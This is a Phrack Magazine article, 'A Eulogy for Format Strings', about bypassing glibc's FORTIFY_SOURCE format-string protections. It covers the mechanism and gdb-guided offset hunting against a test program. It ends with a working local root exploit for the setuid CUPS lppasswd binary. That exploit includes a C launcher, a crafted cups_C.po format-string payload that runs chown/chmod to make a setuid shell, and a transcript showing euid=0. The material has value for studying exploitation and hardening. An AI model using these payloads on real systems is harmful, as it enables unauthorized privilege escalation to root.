[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]


..[ Phrack Magazine ]..
.:: A Eulogy for Format Strings ::.

Issues: [ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ] [ 10 ] [ 11 ] [ 12 ] [ 13 ] [ 14 ] [ 15 ] [ 16 ] [ 17 ] [ 18 ] [ 19 ] [ 20 ] [ 21 ] [ 22 ] [ 23 ] [ 24 ] [ 25 ] [ 26 ] [ 27 ] [ 28 ] [ 29 ] [ 30 ] [ 31 ] [ 32 ] [ 33 ] [ 34 ] [ 35 ] [ 36 ] [ 37 ] [ 38 ] [ 39 ] [ 40 ] [ 41 ] [ 42 ] [ 43 ] [ 44 ] [ 45 ] [ 46 ] [ 47 ] [ 48 ] [ 49 ] [ 50 ] [ 51 ] [ 52 ] [ 53 ] [ 54 ] [ 55 ] [ 56 ] [ 57 ] [ 58 ] [ 59 ] [ 60 ] [ 61 ] [ 62 ] [ 63 ] [ 64 ] [ 65 ] [ 66 ] [ 67 ] [ 68 ] [ 69 ] [ 70 ] [ 71 ]
Current issue : #67 | Release date : 2010-11-17 | Editor : The Phrack Staff
IntroductionThe Phrack Staff
Phrack Prophile on PunkThe Phrack Staff
Phrack World NewsEL ZILCHO
Loopback (is back)The Phrack Staff
How to make it in PrisonTAp
Kernel instrumentation using kprobesElfMaster
ProFTPD with mod_sql pre-authentication, remote rootFelineMenace
The House Of Lore: Reloaded ptmalloc v2 & v3: Analysis & Corruptionblackngel
A Eulogy for Format StringsCaptain Planet
Dynamic Program Analysis and Software ExploitationBSDaemon
Exploiting Memory Corruptions in Fortran Programs Under Unix/VMSMagma
Phrackerz: Two TalesAntipeace & The Analog Kid
Scraps of notes on remote stack overflow exploitationpi3
Notes Concerning The Security, Design and Administration of Siemens DCO-CSThe Philosopher
Hacking the mind for fun and profitlvxferis
International scenesvarious
Title : A Eulogy for Format Strings
Author : Captain Planet
                              ==Phrack Inc.==

                Volume 0x0e, Issue 0x43, Phile #0x09 of 0x10

|=-----------------------------------------------------------------------=|
|=-------------------=[ A Eulogy for Format Strings ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ by Captain Planet ]=-------------------------=|
|=-----------------------------------------------------------------------=|

Index

------[ 0. Introduction
------[ 1. Glibc's FORTIFY_SOURCE
------[ 2. Bypassing FORTIFY_SOURCE
------[ 3. Exploitation
          A.  Dummy program
          B.  CUPS lppasswd bug
          C.  TODO- ASLR
------[ 4. Afterword


------[ 0. Introduction

Today the Windows CRT disables %n by default [0]. And likewise, glibc's
FORTIFY_SOURCE patches provides protection mechanisms which render 
exploitation impossible. Objective-C isn't being considered, but i'm told 
you can have plenty of fun there too. Even format strings weren't a 
critically endangered species, they've been demoted to the class of 
infoleak. The great thing about format strings of course was that they 
provided both a read and write primitive. They were the `spork` of 
exploitation. ASLR? PIE? NX Stack/Heap? No problem, fmt had you covered.

The story goes that around 2000 everybody was hunting down format strings.
Just about everything was vulnerable. Check out the TESO article in the 
links. It was pretty outrageous. CORE exploited pretty much everything with
locales too [1]. But today, those days are long one. Unless of course 
you're hacking edus, in which case you can still use locale bugs to pop 
root shells on PMOS technology.

A few months ago something funny happened. A guy by the name of Ronald
Volgers [2] had his way with CUPS lppasswd, which was shipped root setuid 
in Ubuntu and Debian. Nice find man! Locale bugs, oh yeah, awesome!

Unfortunately, the aforementioned patch makes fmt str exploitation quite
unlikely.

In detail, the FORTIFY_SOURCE provides two countermeasures against fmt
strings.

  1)   Format strings containing the %n specifier may not be located at a
       writeable address in the memory space of the application.

  2)   When using positional parameters, all arguments within the range 
       must be consumed. So to use %7$x, you must also use 1,2,3,4,5 and 6.

But thats okay since the FORTIFY_SOURCE patch is not really all that 
complete. (-: Why? Because glibc is really really weird code. It amazes me 
that someone would travel all around the world and take credit for glibc 
when they did not even write it. Actually, it makes perfect sense, nobody 
with any dignity would admit to writing any part of glibc to public 
audiences. Don't get me wrong, glibc lets pretty good stuff happen to my 
computer. The code is pretty hard to look at though, you wouldn't introduce
her to your parents if you know what I mean...

What you're about to read is slightly harder than writing a format string
and a little bit easier than building glibc itself. (Glibc binaries are 
ideal for an ELF VX because of the difficulty of compiling them). 
Prequisites are understanding format string exploitation. They were last 
written about in phrack here [3] if you need a refresher. If you have never
exploited a format string vuln, seek the article by 'rebel' [6]. It is one 
of the most skilled and digestible discourses available.

So lets dive right in.

------[ 1. Glibc's FORTIFY_SOURCE

===========================================================================
WARNING: THE REST OF THIS ARTICLE INCLUDES GLIBC CODE WHICH MAY INDUCE 
CHEST PAIN, VOMITING, BLACKOUTS, or PERMANENT LOSS OF EYESIGHT. ALL 
ATTEMPTS TO KEEP KEEP GLIBC CODE TO A MINIMUM HAVE BEEN MADE BY THE AUTHOR.
===========================================================================

"%49150u %4849$hn %1$*269158540$x %1$*13996$x %1073741824$d"

Have you seen a format string like that before? It makes positional 
parameters look less attractive, doesn't it?

So how does this patch supposedly work?

To turn it on the binary must be compiled with `-D_FORTIFY_SOURCE=2` 
enabled with an optimization level of at least -O2. This is likely because 
of the compiler pass the patch is implemented at.

So the following happens.

   0x08048509 <+57>:  mov    %ebx,0x4(%esp)
   0x0804850d <+61>:  movl   $0x1,(%esp)
   0x08048514 <+68>:  call   0x80483c4 <__printf_chk@plt>

First, calls to printf, etc get rerouted to __*_chk in your compiled binary
and the first argument of :flag: is passed as 1.

A.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
File: libc/debug/printf_chk.c

/* Write formatted output to stdout from the format string FORMAT.  */
int
___printf_chk (int flag, const char *format, ...)
{
  va_list ap;
  int done;

  _IO_acquire_lock_clear_flags2 (stdout);
  if (flag > 0)
    stdout->_flags2 |= _IO_FLAGS2_FORTIFY;

  va_start (ap, format);
  done = vfprintf (stdout, format, ap);
  va_end (ap);

  if (flag > 0)
    stdout->_flags2 &= ~_IO_FLAGS2_FORTIFY;
  _IO_release_lock (stdout);

  return done;
}
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

The function sets the _IO_FLAGS2_FORTIFY bit to ON in the FILE* structure 
to enable the FORTIFY checks. This is sort of clever, as the bit will 
always get toggled on when entering dangerous functions. You can not 
universally disable the mechanism very easily. But this itself does not 
actually guarantee any kind of security.

Under libio/libio.h the following secondary flags are defined:

#define _IO_FLAGS2_MMAP 1         //fopen 'm' mmap access mode
#define _IO_FLAGS2_NOTCANCEL 2    //open/read/write should not be used as
                                    thread cancellization points
#ifdef _LIBC
# define _IO_FLAGS2_FORTIFY 4     //enable fortify security checks
#endif
#define _IO_FLAGS2_USER_WBUF 8    //wide buffer (2-byte) support funk
#ifdef _LIBC
# define _IO_FLAGS2_SCANF_STD 16  // %a support for scanf
#endif

Disabling the entire flags buffer should not be too much trouble, but may
lead to some inconsistencies if the file stream pointer is opened with 'm' 
in the mode parameter.

The astute reader will be wondering about functions such as vsnprintf, 
which require no file stream pointer. Well, glibc provides an okay 
solution. A file stream pointer is made on the stack with a callback that 
writes to a buffer instead of a file descriptor. This file stream pointer 
is then passed along to vfprintf.

Now, with the _IO_FLAGS2_FORTIFY bit set, there are two protections that 
are enabled.

B. Protection #1
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
File: libc/stdio-common/vfprintf.c

   LABEL (form_number):
\
      if (s->_flags2 &
_IO_FLAGS2_FORTIFY)                                    \

{                                                                     \
          if (!
readonly_format)                                              \

{                                                                 \
              extern int __readonly_area (const void *,
size_t)               \

attribute_hidden;                                             \

readonly_format                                                 \
                = __readonly_area (format, ((STR_LEN (format) +
1)            \
                                            * sizeof
(CHAR_T)));              \

}                                                                 \
          if (readonly_format <
0)                                            \
            __libc_fatal ("*** %n in writable segment detected
***\n");       \

}                                                                     \
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

If the format string payload containing a %n is located in a writeable 
memory area such as the stack or BSS or DATA or the heap, this patch will 
detect it and error out. Besides a DoS, this patch renders format strings 
pretty harmless.


C. Protection #2
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
File: libc/stdio-common/vfprintf.c
    /* Determine the number of arguments the format string consumes.  */
    nargs = MAX (nargs, max_ref_arg);

    /* Allocate memory for the argument descriptions.  */
    args_type = alloca (nargs * sizeof (int));
    memset (args_type, s->_flags2 & _IO_FLAGS2_FORTIFY ? '\xff' : '\0',
            nargs * sizeof (int));
    args_value = alloca (nargs * sizeof (union printf_arg));
    args_size = alloca (nargs * sizeof (int));
..
    for (cnt = 0; cnt < nargs; ++cnt)
..
      switch (args_type[cnt])
..
        case -1:
          /* Error case.  Not all parameters appear in N$ format
             strings.  We have no way to determine their type.  */
          assert (s->_flags2 & _IO_FLAGS2_FORTIFY);
          __libc_fatal ("*** invalid %N$ use detected ***\n");
        }
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

The effect of this second patch is that all of the arg_types are set to -1
by default. If there are any argument holes in between which do not get 
processed, they are left as -1. So the effect is that:

  %4$x

would be invalid but

  %4$x %2$x %1$x %3x

would be okay.

To be honest, I do not really see this as some huge security improvement 
but more of a nuisance. It does not really stop infoleaks much. Maybe they
wanted to prevent people from exploiting 8 character format strings, 
because those are really common in the wargaming scene.


------[ 2. Bypassing FORTIFY_SOURCE

Now, if you were paying attention, you saw a bunch of allocas in 1-A. That 
:nargs: variable, that is the calculated maximum number of arguments. If a 
fmt str has simple arguments, the value is just that number. But, if a fmt 
str uses width arguments or positional parameters (often called direct 
parameters in other format string articles), then those also factor into 
the maximum :nargs: value

As an example in this string,
%x %x %x %13981938$x,

13981938 is the :nargs: value being passed to the alloca functions in code
snippet 1-C.

Do not get too excited. This is not enough for generic control. 
Unfortunately, we can not do the same stack shifting as in [4] since we are
in a context past the initial stack frame allocation. At the epilogue of 
the function, a base register will be used to collapse the stack, making 
stack shifting less useful without being accompanied by memory clobbering. 
This is true of many of the architecture's C compilers. They pretty much 
all implement some sort of easy stack clean-up with a base register, so 
alloca itself is difficult to attack.

Instead, it is the operations that use the allocated memory that must be
exploited. The integer overflow can be used to trigger all sorts of memory
trespasses.

One other thing to do is shift the stack into the heap using the alloca. 
This also turns out to be difficult because of those memset operations.

But we do have a loss of state. And as always, from a loss of state new
opportunites arise. We are in the land of undefined. Hi mom and dad!

This article will use one such trespass opportunity to bypass 
FORTIFY_SOURCE. It should be noted that others exist, but may be a bit 
harder to utilize than this one.

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

Arbitrary 4-byte NUL overwrite.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
File: stdio-common/vfprintf.c

    /* Fill in the types of all the arguments.  */
    for (cnt = 0; cnt < nspecs; ++cnt)
      {
      /* If the width is determined by an argument this is an int.  */
      if (specs[cnt].width_arg != -1)
        args_type[specs[cnt].width_arg] = PA_INT;

enum
{                               /* C type: */
  PA_INT,                       /* int */
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Quick summary of the code:
args_type[ ATTACKER_OFFSET ] = 0x00000000;

Explanation:
The above code is required to process width arguments that are passed in as
parameters.

For example:

        %1$*269096872$x

Effectively does:
        //specs[cnt].width_arg = 269096872
        args_type[specs[cnt].width_arg] = 0

..which, if your stack is set up just right, can toggle off that 
_IO_FLAGS2_FORTIFY bit in the `stdout` FILE structure.

Remember that :args_type: was one of the buffers allocated on the stack in
the alloca snippet above in 1-C and is an array of an integer base type.

Care must be taken as the alloca becomes a bit of a problem when nargs gets
set to a large value. This will likely shift the stack to somewhere 
unmapped. The next push or call instructions would result in a crash, 
preventing proper exploitation.

So the key constraints around :nargs: are as follows:

1) the stack must be shifted somewhere sane
2) the memset operation must not hit an unmapped page.

The easiest way to meet these two contraints is to use an integer overflow.
Since no bounds checking occurs on :nargs:, you can artificially keep the
stack in-place with this: `%1073741824$`. No specifier is really required 
and you can end it with just a $ sign. The second contraint is also 
satisfied because the memset will be called with a length parameter of 0.

The details of the allocas are a little bit more complex if you look at the
assembly. For our purposes, they roughly end up doing:

esp -= nargs * (4)
esp -= nargs * (12)
esp -= nargs * (4)

The 1073471824*4 happens to be 0 when truncated into a 32-bit integer. This
and other factors of 1073471824 prove to be sufficient for side-stepping 
the alloca constraints.

This concludes the arbitrary 4-byte NUL overwrite.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>


The first patch (1-B) can be disabled by clearing that IO_FLAGS2_FORTIFY 
bit in the file stream pointer. Typically it will be the only flag enabled 
on the file stream pointer. In the unlikeley case that one of the other 
bits was set, for example _IO_FLAGS2_MMAP, inconsitencies may arise when 
the file stream pointer is closed. This may or may not affect 
exploitability.

We will now revisit the second part of the patch. It makes any format 
string exploit less flexible. The loop on nargs has to be terminated early 
to avoid the assert and the libc_fatal when a "hole" in the arguments is 
discovered. By hole, I am referring to the code in (1-C) which checks the 
:args_type: value against -1. Remember that the fortify source patch won't 
let you access %5$x without also accessing %1$? %2$? %3$? and %4?. That is 
what is meant by 'hole' in this context.

The termination of that loop can coincidentally happen all by itself if the
stack is aligned correctly. The loop will hit out of bounds of the alloca 
created buffers and self terminate when :nargs: is set to 0, provided that
:nargs: is stored by the compiler on the stack. If it fails to do this, an 
assert() statemet will be triggered, preventing exploitation.

Or, we can reuse the 4-byte NUL write can be used to bypass the loop 
reliably.

One instance of a successful bypass can then be performed in two easy 
steps.

 1. Turn off the IO_FORTIFY_SOURCE bit to allow %n from a writeable address
 2. Set nargs=0 to skip the value-filling loop.

Note that bypassing the loop via #2 requires us to dig further down the 
stack to find our user input since the same loop is responsible for filling
in the args_value array. If you have ever attempted to exploit a format
string by truncating a pointer and reusing it as destination on glibc, you 
probably failed because of that args_value array.

------[ 3. Exploitation

In standard phrack style we will first do this on a test binary and then on
a real-world binary to disprove any accusations of academic tendencies, 
like thought experiments. Feel free to skip to part B.

------------[ A. Dummy Test Program for clarity

Note: ASLR is disabled and the program has an executable stack.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
//File: test.c
//gcc -D_FORTIFY_SOURCE=2 -O2
int main(){
  char buf[256];
  fgets(buf, sizeof(buf), stdin);
  printf(buf);
}
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

captain@planet:~/research/fmt/article$ ./a.out
%n
*** %n in writable segment detected ***
Aborted
captain@planet:~/research/fmt/article$ ./a.out
%4$x
*** invalid %N$ use detected ***
Aborted

Oh nooO! Scary format string protections are making everything hurt.

ENABLE POWER MORPHING LINUX SHARING COMMUNITY POWER
----
Alright remember the process kids.
1. Disable fortify source
2. Set nargs = 0
3. Enjoy the %n

So first, lets figure out where that arbitrary 4-byte NUL write is on our
system. We will pick some ridiculous desination, like %1$*269168516$. If it
doesn't crash, keep incrementing that by about 20000.

So we'll send the following as our investigative payload. The first part
should trigger the NUL write. The second part should keep the stack sane.

%1$*269168516$x %1073741824$

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
captain@planet:~/research/fmt/article$ gdb -q ./a.out
Reading symbols from /home/captain/research/fmt/article/a.out...(no
debugging symbols found)...done.
(gdb) r
Starting program: /home/captain/research/fmt/article/a.out
%1$*269168516$x %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x001888f1 in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc
"%1$*269168516$x %1073741824$\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1735
1735  vfprintf.c: No such file or directory.
  in vfprintf.c
(gdb) x/i $pc
=> 0x1888f1 <_IO_vfprintf_internal+11489>:  movl   $0x0,(%ecx,%eax,4)
(gdb)
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%

The fortify source bit will be somewhere inside of the file stream pointer
over at s=0x29f4e0.

    stdout->_flags2 |= _IO_FLAGS2_FORTIFY;

On this target machine, it happens to be @+60

0x29f51c <_IO_2_1_stdout_+60>:  0x00000004

Since the operations here are relative, ASLR is not too big of an issue and
once you find your offset, it's pretty consistent (YMMV).

Here is the equation
$ecx + $eax*4  should = 0x29f51c

(gdb) p/d ((0x10029f51c-$ecx) & 0xffffffff)/4
$11 = 269145003

Counting starts from 0, so add 1 to that for the payload.

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
captain@planet:~/research/fmt/article$ gdb -q ./a.out
Reading symbols from /home/captain/research/fmt/article/a.out...(no
debugging symbols found)...done.
(gdb) break vfprintf
Function "vfprintf" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (vfprintf) pending.
(gdb) r
Starting program: /home/captain/research/fmt/article/a.out
%1$*269145004$x %1073741824$

Breakpoint 1, _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc
"%1$*269145004$x %1073741824$\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:210
210  vfprintf.c: No such file or directory.
  in vfprintf.c
(gdb) tbreak *(vfprintf+11489)
Temporary breakpoint 2 at 0x1888f1: file vfprintf.c, line 1735.
(gdb) c
Continuing.

Temporary breakpoint 2, 0x001888f1 in _IO_vfprintf_internal (s=0x29f4e0,
format=0xbffeb2dc "%1$*269145004$x %1073741824$\n", ap=0xbffeb2c8 "@\364)")
    at vfprintf.c:1735
1735  in vfprintf.c
(gdb) x/i $pc
=> 0x1888f1 <_IO_vfprintf_internal+11489>:  movl   $0x0,(%ecx,%eax,4)
(gdb) x/wx $ecx+$eax*4
0x29f51c <_IO_2_1_stdout_+60>:  0x00000004
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%

This operation has to be repeated for :nargs:. The easiest way to locate
:nargs: is to pick a value you know (0xdeadbeef), and find it on the stack 
or just pick it up where it gets loaded before the alloca code.

%1$*3735928559$x

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
Program received signal SIGSEGV, Segmentation fault.
0x0018880f in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc
"%1$*3735928559$x\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1721
1721  vfprintf.c: No such file or directory.
  in vfprintf.c
(gdb) x/wx $ebp-0x4bc
0xbffeadcc:  0xdeadbeef
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%

p/d (0xbffeadcc-$ecx)/4+1
= 472 for me

Disabling both :nargs: and fortify source : [%*472$ %1$*269145004$
%1073741824$]

Well, that's not actually true. It depends on what your buffer looks like.
For example if you attempt to do:

%49150u %4847$hn %*472$ %1$*269145004$ %1073741824$

The first two parameters will cause the stack to shift and the values have 
to be recalculated based on the size of that $hn offset. This gets a bit 
hairy, but with some grunt work you'll be done. The next task is finding
a good way to hijack flow control.

One good vector happens to be a call to free shortly after the %n write.

=> 0xb7d4f3f8 <_IO_vfprintf_internal+2024>:  mov    -0x4bc(%ebp),%edi
=> 0xb7d4f3fe <_IO_vfprintf_internal+2030>:  mov    %edi,(%esp)
=> 0xb7d4f401 <_IO_vfprintf_internal+2033>:  call   0xb7d28988 <free@plt>
=> 0xb7d28988 <free@plt>:  jmp    *0x24(%ebx)
(gdb) x/wx $ebx+0x24
0x29f018:  0x001b8e60

We will overwrite the upper 16-bits to point into the stack
(0x001b->0xbfff).
Write Dest: 0x29f01a

One way to smuggle this value is using a command line argument.

%49150u %4847$hn %*13996$ %1$*269158528$ %1073741824$

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
Program received signal SIGSEGV, Segmentation fault.
0x0018880f in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc
"%1$*3735928559$x\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1721
1721  vfprintf.c: No such file or directory.
  in vfprintf.c
(gdb) x/wx $ebp-0x4bc
0xbffeadcc:  0xdeadbeef
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%

So after some fenagling you'll reach something like this:

A great improvement would be automation via instrumentation or mapping
out the stack shifting very tightly.

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
captain@planet:~/research/fmt/article$ export PAY=`python -c 'print
"\xcc"*4096*20'`
captain@planet:~/research/fmt/article$ (python -c 'print "%49150u %4847$hn
%1$*269168516$x %1$*13996$x %1073741824$"')
                                      | ./a.out `echo -ne "a ccc ddbbb
\x1a\xf0\x29 fffff"`
...
            Trace/breakpoint trap (core dumped)
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%


------------[ B. The real world exploit

===========================================================================
===========================================================================
===========================================================================

CUPS locale() vulnerability.

Ronald Volgers noticed that lppasswd used user-specified locales. A few
distributions (debian, ubuntu, fedora?) ship lppasswd setuid root. Is this
awesome? yes

ls -al lppasswd
-rwsr-xr-x 1 root root 19144 2010-07-07 00:56 lppasswd

To exploit it, you just export LOCALEDIR to a place where 
$LOCALEDIR/C/cups_C.po holds the format strings for the various printfs in 
lppasswd.

This exploit turns out to be hard for a few reasons. The first, it is non
interactive. That is, the format string can not be used for an info leak to
bypass ASLR. The second limitation is that lppasswd creates a LOCK file, so
any weaponized exploit must be highly reliable. Luckily this second one can
be bypassed with resource limits.

File: sploit_filz.c
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#include <sys/resource.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/time.h>

int main(int argc, char *argv[])
{
  struct rlimit rara;
  int keke[4096*4];
  char test[0x10000];
  char *args[] = { "./lppasswd", 0 };
  char *env[] = { "LOCALEDIR=./", &keke, test, 0};
  int riri;
  int jmp = 0xbffdc66c;

  memset(test, 0x01, sizeof(test));
  test[0x10000-1] = 0x00;

  for(riri = 0; riri < sizeof(keke)/sizeof(int); riri+=4){
    keke[riri+0] = jmp+2;
    keke[riri+1] = jmp+2;
    keke[riri+2] = jmp;
    keke[riri+3] = jmp;
  }

  rara.rlim_max = rara.rlim_cur = atoi(argv[1]);
  setrlimit(RLIMIT_NOFILE, &rara);

  execve("./lppasswd",args,env);
}
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

There is also one important difference between the test program and 
lppasswd. The vulnerability inside libcups is triggered by vsnprintf. 
Internally, vsnprintf creates a fake file stream pointer on the stack and 
then passes it to vfprintf.

This is actually pretty good news in terms of bypassing ASLR as the file
stream pointer is a fixed offset from the format string structures, which 
glibc allocates on the stack.

The vulnerable function in libcups follows.

File: cups/cups/langprintf.c
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
int          /* O - Number of bytes written */
_cupsLangPrintf(FILE        *fp,  /* I - File to write to */
          const char  *message,  /* I - Message string to use */
          ...)      /* I - Additional arguments as needed */
{

...

  va_start(ap, message);
  vsnprintf(buffer, sizeof(buffer),
            _cupsLangString(cg->lang_default, message), ap);
  va_end(ap);
..
}
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

With ASLR disabled, the best option is to go after the return address. In 
the callstack for vfprintf:

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
Breakpoint 1, _IO_vfprintf_internal (s=0xbffdc68c,
    format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; %49150u
%7352$hx %49150u %7353$hx %14263u %7352$hn %27249u %7353$hn %1$*14951$x
%1$*14620$x %1073741824$", ap=0xbffdefe8 "\243>\344\267-\021\021") at
vfprintf.c:210
210  in vfprintf.c
(gdb) bt
#0  _IO_vfprintf_internal (s=0xbffdc68c,
    format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; ...
#1  0xb7df2bf4 in ___vsnprintf_chk (s=0xbffde7bc "", maxlen=2048, flags=1,
    slen=2048,
    format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; ....
#2  0xb7f96544 in vsnprintf (fp=0xb7e68580,
    message=0x1117c5 "lppasswd: Unable to open password file: %s\n")
    at /usr/include/bits/stdio2.h:78
#3  _cupsLangPrintf (fp=0xb7e68580,
    message=0x1117c5 "lppasswd: Unable to open password file: %s\n")
    at langprintf.c:125
#4  0x0011116a in main (argc=1, argv=0xbffdfee4) at lppasswd.c:316
(gdb)
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%

The second return address lends itself very well to exploitation. The 2nd
parameter points to user input. This is highly useful when overwriting the 
saved return address.
The address can be pointed to &system or __libc_system or do_system, and 
the old 2nd argument will become the argument to system.

Above in the resource limit setting code, the enivornment is filled with
pointers to that return address::  int jmp = 0xbffdc66c;

    keke[riri+0] = jmp+2;
    keke[riri+1] = jmp+2;
    keke[riri+2] = jmp;
    keke[riri+3] = jmp;

NX Bypass: C/cups_C.po
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
msgid "lppasswd: Unable to open password file: %s\n"
msgstr "chown root:root /tmp/sh; chmod 4755 /tmp/sh; %49150u %7352$hx
%49150u \
%7353$hx %14263u %7352$hn %27249u %7353$hn %1$*14951$x %1$*14620$x
%1073741824$"
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

The first part executes a command. The next 4 arguments were padding but
removing them would have required some recalculations.

These two writes redirect control flow to system by overwriting the least
and most significant half-words of the saved return address.

%14263u %7352$hn %27249u %7353$hn

And the last part is used to bypass FORTIFY_SOURCE:  
%1$*14951$x %1$*14620$x %1073741824$.

Overall, things are pretty hairy, but they work with some massaging.

captain@planet:~/research/fmt/cups-1.4.2/systemv$ ls -l lppasswd
-rwsr-xr-x 1 root root 18867 2010-06-06 01:26 lppasswd
captain@planet:~/research/fmt/cups-1.4.2/systemv$ ls -al /tmp/sh
ls: cannot access /tmp/sh: No such file or directory
captain@planet:~/research/fmt/cups-1.4.2/systemv$ cp /bin/bash /tmp/sh
captain@planet:~/research/fmt/cups-1.4.2/systemv$ gcc -o sf sploit_filz.c
sploit_filz.c: In function ?main?:
sploit_filz.c:13: warning: initialization from incompatible pointer type
sploit_filz.c:20: warning: incompatible implicit declaration of built-in
function ?memset?
captain@planet:~/research/fmt/cups-1.4.2/systemv$ ./sf 4
Enter old password:
Enter password:
Enter password again:
sh: %49150u: not found
Segmentation fault
captain@planet:~/research/fmt/cups-1.4.2/systemv$ ls -al /tmp/sh
-rwsr-xr-x 1 root root 818232 2010-07-07 01:26 /tmp/sh
captain@planet:~/research/fmt/cups-1.4.2/systemv$ /tmp/sh -p
sh-4.1# id
uid=1337(captain) gid=1337(captain) euid=0(root)
groups=4(adm),20(dialout),24(cdrom),29(audio),30(dip),44(video),46(plugdev)
,104(lpadmin),112(netdev),115(admin),118(pulse-access),120(sambashare),
1000(captain)


------------[ C. TODO- ASLR

The author has failed to make an ultra reliable exploit for defeating both
ALSR and an NX stack. Part of what makes it difficult is all of the moving
parts.

In this case ASLR makes things hairy for two reasons. Both the stack and 
libc (and the text) are shifting. They are randomly offset from each other.
In the above exploit, two values need to be known. The first is the 
location of the saved return address. The second is the address of glibc. 
By applying the resource limits, it is still possible to brute force this 
vulnerability, but it requires patience with 24-bits of entropy.

Anyway, the following two methods have been attempted.

1) Copy (read+write) primitive using width arguments.

The width argument can be used to read a value from memory and write it
somewhere.

%1$*100$u will read the 100th argument's value, and write that many spaces.
This is presumably the reason why %n was introduced in the first place. The
copy would look like this:

%1$*100$u %2$101$n

Author's Verdict: Too hairy
The copy write primitive does not seem to work reliably under the fortify
source loss of state. Exact reasons have not been yet determined, and a way
to stabilize them may exist. In addition, once a copy operation is 
performed, the internal printf counter must be reset by writing a value 
numerous times. The easiest way to do this would be to print out the same 
value '256' times and reduce write width to one-character at a time. 
Writing the same value '256' times ensures that the lowest byte of the 
internal counter will be 0.

2) Repurpose double stack pointers

For lppasswd, stack double-pointers exist that can be repurposed. For %n to
work, a pointer is needed. The idea behind this avenue is to use the first 
pointer to redirect the second pointer to the return address.

Author's verdict: Using the pointers is reliable, but ASLR has enough 
entropy in the the correct offset to the return address is unreliable. The 
best acheivement was 24-bits of entropy, 12-bits for the return address and
12-bits for &system. Only one exploit seemed to work, and the author was 
unable to reproduce even after a night of testing.

===========================================================================

------[ 4. Afterword

It is the author's opinion that it is quite amazing vfprintf even compiles
in the first place. Briefly, it should be noted that there are more angles 
of attack in the vfprintf code that are a bit more complicated. Although 
quite messy. Here is one example, if a target is using the deprecated 
features of vfprintf to register their own format string specifiers, an 
attacker can get arbitrary code execution without needing %n. Execution 
without %n may even be possible with the jump table implementations...

This article is dedicated to runixd and beist, the top scoring two of the
first three loller skaterz. Mad greetz to the even better lollerskaterz 
dropping from rofl copters. Surf the chaos dudes!

Many thanks to the phrack staff for their help.
And also real hackers who make me blush.

Thanks for reading. Have phun!

